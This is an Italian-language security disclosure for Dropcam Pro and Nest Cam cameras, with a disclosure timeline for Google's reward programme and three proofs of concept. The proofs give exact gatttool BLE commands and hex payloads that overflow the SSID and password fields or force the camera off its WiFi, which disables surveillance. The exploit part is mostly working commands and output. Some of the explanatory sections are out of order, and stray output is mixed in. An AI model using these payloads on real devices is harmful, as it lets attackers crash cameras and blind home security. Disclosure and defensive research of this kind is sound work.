
Divulgazioni di vulnerabilità PoC per telecamere IoT consumer, che descrivono overflow del buffer BLE e attacchi di disassociazione WiFi in grado di portare i dispositivi offline.
Modelli interessati: Dropcam Pro, modelli Nest Cam Indoor/Outdoor
Ultima build interessata: 205-600052
Build parzialmente corretta: 205-600055
AGGIORNAMENTO L'ultima versione del firmware 205-600055 non risolve la vulnerabilità di dissociazione WiFi nella Dropcam Pro. Se la rete WiFi fornita non esiste, il tempo di riassociazione è stato migliorato e ora la fotocamera si riconnette entro circa 10 secondi. Tuttavia, è ancora possibile fornire una rete WiFi valida per portare la dropcam offline in modo permanente.
Cronologia della divulgazione:
26 ottobre 2016: Segnalato bug di sicurezza secondo le linee guida del Vulnerability Reward Program di Google
27 ottobre 2016: Il Google Security Team ha confermato la ricezione del report e che era in corso un'indagine
1 novembre 2016: Il Google Security Team ha convalidato le vulnerabilità segnalate e ha aperto un bug
15 novembre 2016: Il pannello VRP di Google ha assegnato una ricompensa di 100 $ nell'ambito di "Non-integrated acquisitions"
17 marzo 2017: Divulgazione pubblica
App iOS PoC di Troy Stribling :: NestPWN
Riepilogo
È possibile innescare una condizione di buffer overflow impostando il parametro SSID sulla fotocamera. L'attaccante deve trovarsi nel raggio d'azione del Bluetooth in qualsiasi momento mentre la fotocamera è accesa. Il Bluetooth non viene mai disattivato, nemmeno dopo la configurazione iniziale.
Prova di concetto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Dettagli
Il payload tenta di impostare un SSID con una lunghezza di 1 byte e ne invia 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Risultato
Crash e riavvio allo stato operativo
Riepilogo
È possibile innescare una condizione di buffer overflow impostando il parametro della password crittografata sulla fotocamera. L'attaccante deve trovarsi nel raggio d'azione del Bluetooth in qualsiasi momento mentre la fotocamera è accesa. Il Bluetooth non viene mai disattivato, nemmeno dopo la configurazione iniziale.
Prova di concetto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]> br />
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Riepilogo
È possibile disconnettere la fotocamera dal Wifi fornendole un nuovo SSID a cui connettersi. Queste fotocamere non supportano la memorizzazione locale dei filmati, quindi la sorveglianza viene temporaneamente disabilitata. L'attaccante deve trovarsi nel raggio d'azione del Bluetooth in qualsiasi momento mentre la fotocamera è accesa. Il Bluetooth non viene mai disattivato, nemmeno dopo la configurazione iniziale.
Prova di concetto
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Dettagli
Il payload tenta di impostare la password WiFi crittografata con una lunghezza di 1 byte e ne invia 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Risultato
Crash e riavvio allo stato operativo
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> Dettagli
Il payload tenta di modificare l'SSID associato alla Nest Cam, causando una dissociazione temporanea dall'attuale SSID Wifi.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Risultato
La fotocamera si dissocia dalla rete wifi corrente per tentare l'associazione con il nuovo SSID impostato. Se la rete WiFi non esiste, la fotocamera andrà offline per circa 60-90 secondi prima di tornare alla rete Wifi originale e riprendere il normale funzionamento. Se la rete esiste, controllerà la connettività Internet e rimarrà sulla nuova rete.